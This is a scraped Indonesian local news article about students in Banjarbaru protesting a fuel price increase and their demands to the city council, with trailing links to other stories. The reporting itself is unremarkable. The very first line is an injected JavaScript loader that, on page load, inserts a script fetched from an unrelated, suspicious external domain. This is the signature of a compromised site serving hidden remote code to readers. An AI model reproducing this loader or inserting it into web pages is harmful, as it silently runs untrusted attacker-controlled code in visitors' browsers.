(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dampak kenaikan bahan bakar minyak (BBM) sudah dirasakan masyarakat. Demo aliansi mahasiswa di depan Gedung DPRD Kota Banjarbaru, adalah wujud jeritan suara rakyat yang meminta wakilnya tidak diam.
Salah satu pimpinan Aliansi Mahasiswa, Cahyono Ony Varandi mengatakan, bahwa kondisi rakyat sedang tidak baik-baik saja.
“Kami sebagai perwakilan rakyat mengingatkan kepada Pemerintah Kota khususnya DPRD Kota Banjarbaru, kondisi masyarakat Banjarbaru sedang tidak baik-baik saja dengan adanya kenaikan BBM ini,” katanya.
Menurut Ony, organisasi kepemudaan kerap tidak dilibatkan dalam pengkajian isu-isu lokal maupun nasional.
Baca juga: Gelombang Tolak BBM Naik di Banjarmasin, Giliran Massa LSISK Unjuk Rasa di DPRD Kalsel
“Terbukti hasil sidang rakyat terbukti dari perwakilan DPRD Kota Banjarbaru belum mengkaji dan menyikapi terhadap isu nasional yang sudah berdampak dan dirasakan oleh masyarakat Kota Banjarbaru,” ungkapnya.
Ony bersama Aliansi Mahasiswa se Kota Banjarbaru lainnya dengan tegas menyatakan Langkah pemerintah menaikkan BBM.
“Keinginan kami tegas menolak adanya kenaikan BBM ini dan kami ingin dikembalikan ke harga semula, kenaikan ini akan berimbas ke harga bahan pokok lainnya,” tegasnya.
Dibeberkan Ony, pihaknya sudah menyampaikan 6 tuntutan dan 2 rekomendasi kepada Ketua DPRD Kota Banjarbaru, Fadliansyah Akbar.
“Apabila tuntutan kami tidak dipenuhi, maka sesuai komitmen, kami akan turun aksi dengan jumlah massa yang lebih banyak lagi,” ungkapnya.
Sebelumnya, Ony menyayangkan keterlambatan hadirnya Ketua DPRD Kota Banjarbaru, padahal mereka sudah bersurat ke pihak DPRD Kota Banjarbaru akan menggelar aksi demo penolakan kenaikan harga BBM di Gedung DPRD Kota Banjarbaru.
Baca juga: Sekda Tanbu: Jembatan Rusak di Desa Banjarsari Segera Ditangani
“Kami sudah menunggu dan menyiapkan dari pukul 09.00 Wita dari titik kumpul dan Bapak datang pukul 11.15 Wita. Sangat kecewa, sangat disayangkan tidak ada yang lebih penting daripada aspirasi masyarakat Kota Banjarbaru itu sendiri dan tidak mendengarkan secara lansgung aspirasi sebelumnya,” ungkapnya.
Dituturkan Ony, dalam demo ini tak hanya isu nasional yang mereka bawa, pun dengan isu lokal seperti adanya oknum penyalahgunaan BBM bersubsidi.
“Kami juga membawa isu lokal, seperti tuntutan pemberantasan penyalahgunaan dari BBM bersubsidi, karena di Banjarbaru pengguna BBM subsidi sangat banyak dari segala kalangan. Bahkan, dari kalangan elit itu juga hal inilah yang menyebabkan kelangkaan BBM di Kota Banjarbaru,” pungkasnya.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.